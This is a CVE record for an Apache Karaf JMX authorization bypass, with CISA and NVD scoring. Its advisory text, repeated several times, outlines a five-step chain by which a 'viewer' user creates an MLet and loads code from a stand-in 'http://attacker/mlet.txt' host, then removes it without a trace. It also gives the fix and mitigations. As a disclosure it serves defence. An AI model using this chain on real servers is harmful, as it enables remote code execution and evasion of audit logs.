{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-92142", "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "state": "PUBLISHED", "assignerShortName": "apache", "dateReserved": "2026-09-15T16:59:01.764Z", "datePublished": "2026-09-29T08:40:07.961Z", "dateUpdated": "2026-10-01T14:24:03.845Z"}, "containers": {"cna": {"providerMetadata": {"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "shortName": "apache", "dateUpdated": "2026-09-29T08:40:07.961Z"}, "title": "Apache Karaf: Authorization bypass in JMX MBean lifecycle operations", "problemTypes": [{"descriptions": [{"description": "CWE-862", "lang": "en", "cweId": "CWE-862", "type": "CWE"}]}], "source": {"discovery": "EXTERNAL"}, "affected": [{"vendor": "Apache Software Foundation", "product": "Apache Karaf", "versions": [{"status": "affected", "version": "0", "lessThan": "4.4.12", "versionType": "semver"}], "defaultStatus": "unaffected"}], "descriptions": [{"value": "Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\n\n\n\u00a0 private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard's existing \"invoke\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00a0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels.", "lang": "en", "supportingMedia": [{"type": "text/html", "base64": false, "value": "Apache Karaf exposes a JMX MBeanServer guarded by&nbsp;<code>KarafMBeanServerGuard</code>, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a j<code>ava.lang.reflect.Proxy</code>&nbsp;around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in&nbsp;<code>MBeanInvocationHandler#guarded</code>:<div><br></div><div><code>&nbsp; private final List&lt;String&gt; guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));</code></div><div><br></div><div>The MBean lifecycle operations&nbsp;<code>MBeanServer#createMBean</code>,&nbsp;<code>#registerMBean</code>&nbsp;and&nbsp;<code>#unregisterMBean</code>&nbsp;are not in this list. Calls to these methods are forwarded directly to the underlying&nbsp;<code>MBeanServer</code>&nbsp;with no role check at all, regardless of the roles configured in&nbsp;<span>etc/jmx.acl.*.cfg.</span></div><div><br></div><div>As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"<code>viewer</code>\" role, can call&nbsp;<code>createMBean()</code>&nbsp;to instantiate an arbitrary class as a MBean, and&nbsp;<code>unregisterMBean()</code>&nbsp;to remove it again afterwards, with no authorization check and no audit log entry (logging in&nbsp;<code>KarafMBeanServerGuard</code>&nbsp;only occurs on the RBAC-denial path, which this bypass never reaches).</div><div><br></div><div>This is significant because&nbsp;<code>javax.management.loading.MLet</code>, a standard JDK MBean, can be instantiated this way.&nbsp;<code>MLet</code>&nbsp;acts as a remote classloader: its&nbsp;<code>getMBeansFromURL(URL)</code>&nbsp;operation fetches an&nbsp;<code>MLet</code>&nbsp;text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through&nbsp;<code>KarafMBeanServerGuard</code>'s existing \"invoke\" check, but the default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;grants the \"<code>viewer</code>\" role to any method name matching the wildcard rule \"<code>get* = viewer</code>\", a heuristic intended for read-only getters. Because \"<code>getMBeansFromURL</code>\" happens to start with \"<code>get</code>\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming&nbsp;<code>MLet</code>&nbsp;at all. Combined with the createMBean gap, this gives a \"<code>viewer</code>\"-role JMX client a path to remote code execution to the Karaf JVM:</div><div><ol><li>Authenticate to JMX as any user with any role (e.g. \"<code>viewer</code>\").</li><li><code>mbs.createMBean(\"javax.management.loading.MLet\", objectName)</code>&nbsp;is not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, MLet is instantiated and registered.</li><li><code>mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)</code>&nbsp;is guarded, but the method name matches the default \"<code>get* = viewer</code>\" ACL rule, so permitted.</li><li>The remote&nbsp;<code>.mlet</code>&nbsp;file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.</li><li><code>mbs.unregisterMBean(objectName)</code>&nbsp;can be used to remove the MLet afterwards, also not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, no audit trail.</li></ol></div><div>The fix adds&nbsp;<code>createMBean</code>,&nbsp;<code>registerMBean</code>&nbsp;and&nbsp;<code>unregisterMBean</code>&nbsp;to the guarded operation list, resolves required roles for them from the&nbsp;<code>jmx.acl*</code>&nbsp;configuration by&nbsp;<code>ObjectName</code>&nbsp;and (for&nbsp;<code>createMBean</code>/<code>registerMBean</code>) MBean class name, and ships default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;entries restricting all three operations to the \"<code>admin</code>\" role. This allows deployments to also write class-name-specific rule, e.g.:</div><div><br></div><div><code>createMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin</code></div><div><br></div><div>Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"<code>admin</code>\" JMX credentiels.</div>"}]}], "references": [{"url": "https://karaf.apache.org/security/cve-2026-92142.txt", "tags": ["vendor-advisory"]}], "metrics": [{"other": {"type": "Textual description of severity", "content": {"text": "important"}}, "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "credits": [{"lang": "en", "value": "MopMonk-AI <mopmonk-ai@tophant.com>", "type": "reporter"}], "x_generator": {"engine": "Vulnogram 1.0.3"}, "x_gcve": [{"vulnId": "CVE-2026-92142", "recordType": "advisory"}]}, "adp": [{"title": "CVE Program Container", "references": [{"url": "http://www.openwall.com/lists/oss-security/2026/09/28/11"}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2026-09-29T09:15:50.700Z"}}, {"metrics": [{"cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 8.8, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "LOW", "confidentialityImpact": "HIGH"}}, {"other": {"type": "ssvc", "content": {"timestamp": "2026-10-01T14:23:22.077130Z", "id": "CVE-2026-92142", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2026-10-01T14:24:03.845Z"}}]}, "vulnerability-lookup:meta": {"epss": {"cve": "CVE-2026-92142", "date": "2026-10-19", "epss": "0.00604", "percentile": "0.47885"}, "nvd": "{\"cve\":{\"id\":\"CVE-2026-92142\",\"sourceIdentifier\":\"security@apache.org\",\"published\":\"2026-09-29T09:17:10.497\",\"lastModified\":\"2026-10-07T20:07:16.547\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\\n\\n\\n\u00a0 private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\\\"invoke\\\", \\\"getAttribute\\\", \\\"getAttributes\\\", \\\"setAttribute\\\", \\\"setAttributes\\\"));\\n\\n\\n\\n\\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\\n\\n\\n\\n\\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \\\"viewer\\\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\\n\\n\\n\\n\\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard's existing \\\"invoke\\\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \\\"viewer\\\" role to any method name matching the wildcard rule \\\"get* = viewer\\\", a heuristic intended for read-only getters. Because \\\"getMBeansFromURL\\\" happens to start with \\\"get\\\", it also matches that rule, so a default installation grants \\\"viewer\\\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \\\"viewer\\\"-role JMX client a path to remote code execution to the Karaf JVM:\\n\\n  *  Authenticate to JMX as any user with any role (e.g. \\\"viewer\\\").\\n  *  mbs.createMBean(\\\"javax.management.loading.MLet\\\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\\n  *  mbs.invoke(objectName, \\\"getMBeansFromURL\\\", new Object[]{\\\"http://attacker/mlet.txt\\\"}, ...)\u00a0is guarded, but the method name matches the default \\\"get* = viewer\\\" ACL rule, so permitted.\\n  *  The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\\n  *  mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\\n\\n\\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \\\"admin\\\" role. This allows deployments to also write class-name-specific rule, e.g.:\\n\\n\\n\\n\\ncreateMBean(java.lang.String)[/javax\\\\.management\\\\.loading\\\\..*/] = admin\\n\\n\\n\\n\\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\\\"admin\\\" JMX credentiels.\"}],\"affected\":[{\"source\":\"security@apache.org\",\"affectedData\":[{\"vendor\":\"Apache Software Foundation\",\"product\":\"Apache Karaf\",\"defaultStatus\":\"unaffected\",\"versions\":[{\"version\":\"0\",\"lessThan\":\"4.4.12\",\"versionType\":\"semver\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-10-01T14:23:22.077130Z\",\"id\":\"CVE-2026-92142\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security@apache.org\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-862\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"4.4.12\",\"matchCriteriaId\":\"532915B7-A52C-450A-A6BF-0FAE4B4144CD\"}]}]}],\"references\":[{\"url\":\"https://karaf.apache.org/security/cve-2026-92142.txt\",\"source\":\"security@apache.org\",\"tags\":[\"Vendor Advisory\",\"Mailing List\"]},{\"url\":\"http://www.openwall.com/lists/oss-security/2026/09/28/11\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\",\"tags\":[\"Mailing List\",\"Third Party Advisory\"]}]}}", "vulnrichment": {"containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"http://www.openwall.com/lists/oss-security/2026/09/28/11\"}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2026-09-29T09:15:50.700Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}, {\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-92142\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-10-01T14:23:22.077130Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-10-01T14:22:06.493Z\"}}], \"cna\": {\"title\": \"Apache Karaf: Authorization bypass in JMX MBean lifecycle operations\", \"source\": {\"discovery\": \"EXTERNAL\"}, \"credits\": [{\"lang\": \"en\", \"type\": \"reporter\", \"value\": \"MopMonk-AI <mopmonk-ai@tophant.com>\"}], \"metrics\": [{\"other\": {\"type\": \"Textual description of severity\", \"content\": {\"text\": \"important\"}}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"vendor\": \"Apache Software Foundation\", \"product\": \"Apache Karaf\", \"versions\": [{\"status\": \"affected\", \"version\": \"0\", \"lessThan\": \"4.4.12\", \"versionType\": \"semver\"}], \"defaultStatus\": \"unaffected\"}], \"references\": [{\"url\": \"https://karaf.apache.org/security/cve-2026-92142.txt\", \"tags\": [\"vendor-advisory\"]}], \"x_generator\": {\"engine\": \"Vulnogram 1.0.3\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"Apache Karaf exposes a JMX MBeanServer guarded by\\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\\u00a0MBeanInvocationHandler#guarded:\\n\\n\\n\\u00a0 private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\\\"invoke\\\", \\\"getAttribute\\\", \\\"getAttributes\\\", \\\"setAttribute\\\", \\\"setAttributes\\\"));\\n\\n\\n\\n\\nThe MBean lifecycle operations\\u00a0MBeanServer#createMBean,\\u00a0#registerMBean\\u00a0and\\u00a0#unregisterMBean\\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\\u00a0MBeanServer\\u00a0with no role check at all, regardless of the roles configured in\\u00a0etc/jmx.acl.*.cfg.\\n\\n\\n\\n\\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \\\"viewer\\\" role, can call\\u00a0createMBean()\\u00a0to instantiate an arbitrary class as a MBean, and\\u00a0unregisterMBean()\\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\\u00a0KarafMBeanServerGuard\\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\\n\\n\\n\\n\\nThis is significant because\\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\\u00a0MLet\\u00a0acts as a remote classloader: its\\u00a0getMBeansFromURL(URL)\\u00a0operation fetches an\\u00a0MLet\\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\\u00a0KarafMBeanServerGuard's existing \\\"invoke\\\" check, but the default\\u00a0etc/jmx.acl.cfg\\u00a0grants the \\\"viewer\\\" role to any method name matching the wildcard rule \\\"get* = viewer\\\", a heuristic intended for read-only getters. Because \\\"getMBeansFromURL\\\" happens to start with \\\"get\\\", it also matches that rule, so a default installation grants \\\"viewer\\\" callers permission to invoke it without any Karaf-specific ACL naming\\u00a0MLet\\u00a0at all. Combined with the createMBean gap, this gives a \\\"viewer\\\"-role JMX client a path to remote code execution to the Karaf JVM:\\n\\n  *  Authenticate to JMX as any user with any role (e.g. \\\"viewer\\\").\\n  *  mbs.createMBean(\\\"javax.management.loading.MLet\\\", objectName)\\u00a0is not in\\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\\n  *  mbs.invoke(objectName, \\\"getMBeansFromURL\\\", new Object[]{\\\"http://attacker/mlet.txt\\\"}, ...)\\u00a0is guarded, but the method name matches the default \\\"get* = viewer\\\" ACL rule, so permitted.\\n  *  The remote\\u00a0.mlet\\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\\n  *  mbs.unregisterMBean(objectName)\\u00a0can be used to remove the MLet afterwards, also not in\\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\\n\\n\\nThe fix adds\\u00a0createMBean,\\u00a0registerMBean\\u00a0and\\u00a0unregisterMBean\\u00a0to the guarded operation list, resolves required roles for them from the\\u00a0jmx.acl*\\u00a0configuration by\\u00a0ObjectName\\u00a0and (for\\u00a0createMBean/registerMBean) MBean class name, and ships default\\u00a0etc/jmx.acl.cfg\\u00a0entries restricting all three operations to the \\\"admin\\\" role. This allows deployments to also write class-name-specific rule, e.g.:\\n\\n\\n\\n\\ncreateMBean(java.lang.String)[/javax\\\\.management\\\\.loading\\\\..*/] = admin\\n\\n\\n\\n\\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\\\"admin\\\" JMX credentiels.\", \"supportingMedia\": [{\"type\": \"text/html\", \"value\": \"Apache Karaf exposes a JMX MBeanServer guarded by&nbsp;<code>KarafMBeanServerGuard</code>, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a j<code>ava.lang.reflect.Proxy</code>&nbsp;around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in&nbsp;<code>MBeanInvocationHandler#guarded</code>:<div><br></div><div><code>&nbsp; private final List&lt;String&gt; guarded = Collections.unmodifiableList( Arrays.asList(\\\"invoke\\\", \\\"getAttribute\\\", \\\"getAttributes\\\", \\\"setAttribute\\\", \\\"setAttributes\\\"));</code></div><div><br></div><div>The MBean lifecycle operations&nbsp;<code>MBeanServer#createMBean</code>,&nbsp;<code>#registerMBean</code>&nbsp;and&nbsp;<code>#unregisterMBean</code>&nbsp;are not in this list. Calls to these methods are forwarded directly to the underlying&nbsp;<code>MBeanServer</code>&nbsp;with no role check at all, regardless of the roles configured in&nbsp;<span>etc/jmx.acl.*.cfg.</span></div><div><br></div><div>As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \\\"<code>viewer</code>\\\" role, can call&nbsp;<code>createMBean()</code>&nbsp;to instantiate an arbitrary class as a MBean, and&nbsp;<code>unregisterMBean()</code>&nbsp;to remove it again afterwards, with no authorization check and no audit log entry (logging in&nbsp;<code>KarafMBeanServerGuard</code>&nbsp;only occurs on the RBAC-denial path, which this bypass never reaches).</div><div><br></div><div>This is significant because&nbsp;<code>javax.management.loading.MLet</code>, a standard JDK MBean, can be instantiated this way.&nbsp;<code>MLet</code>&nbsp;acts as a remote classloader: its&nbsp;<code>getMBeansFromURL(URL)</code>&nbsp;operation fetches an&nbsp;<code>MLet</code>&nbsp;text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through&nbsp;<code>KarafMBeanServerGuard</code>'s existing \\\"invoke\\\" check, but the default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;grants the \\\"<code>viewer</code>\\\" role to any method name matching the wildcard rule \\\"<code>get* = viewer</code>\\\", a heuristic intended for read-only getters. Because \\\"<code>getMBeansFromURL</code>\\\" happens to start with \\\"<code>get</code>\\\", it also matches that rule, so a default installation grants \\\"viewer\\\" callers permission to invoke it without any Karaf-specific ACL naming&nbsp;<code>MLet</code>&nbsp;at all. Combined with the createMBean gap, this gives a \\\"<code>viewer</code>\\\"-role JMX client a path to remote code execution to the Karaf JVM:</div><div><ol><li>Authenticate to JMX as any user with any role (e.g. \\\"<code>viewer</code>\\\").</li><li><code>mbs.createMBean(\\\"javax.management.loading.MLet\\\", objectName)</code>&nbsp;is not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, MLet is instantiated and registered.</li><li><code>mbs.invoke(objectName, \\\"getMBeansFromURL\\\", new Object[]{\\\"http://attacker/mlet.txt\\\"}, ...)</code>&nbsp;is guarded, but the method name matches the default \\\"<code>get* = viewer</code>\\\" ACL rule, so permitted.</li><li>The remote&nbsp;<code>.mlet</code>&nbsp;file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.</li><li><code>mbs.unregisterMBean(objectName)</code>&nbsp;can be used to remove the MLet afterwards, also not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, no audit trail.</li></ol></div><div>The fix adds&nbsp;<code>createMBean</code>,&nbsp;<code>registerMBean</code>&nbsp;and&nbsp;<code>unregisterMBean</code>&nbsp;to the guarded operation list, resolves required roles for them from the&nbsp;<code>jmx.acl*</code>&nbsp;configuration by&nbsp;<code>ObjectName</code>&nbsp;and (for&nbsp;<code>createMBean</code>/<code>registerMBean</code>) MBean class name, and ships default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;entries restricting all three operations to the \\\"<code>admin</code>\\\" role. This allows deployments to also write class-name-specific rule, e.g.:</div><div><br></div><div><code>createMBean(java.lang.String)[/javax\\\\.management\\\\.loading\\\\..*/] = admin</code></div><div><br></div><div>Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\\\"<code>admin</code>\\\" JMX credentiels.</div>\", \"base64\": false}]}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-862\", \"description\": \"CWE-862\"}]}], \"providerMetadata\": {\"orgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"shortName\": \"apache\", \"dateUpdated\": \"2026-09-29T08:40:07.961Z\"}}}", "cveMetadata": "{\"cveId\": \"CVE-2026-92142\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-10-01T14:24:03.845Z\", \"dateReserved\": \"2026-09-15T16:59:01.764Z\", \"assignerOrgId\": \"f0158376-9dc2-43b6-827c-5f631a4d8d09\", \"datePublished\": \"2026-09-29T08:40:07.961Z\", \"assignerShortName\": \"apache\"}", "dataType": "CVE_RECORD", "dataVersion": "5.2"}}}
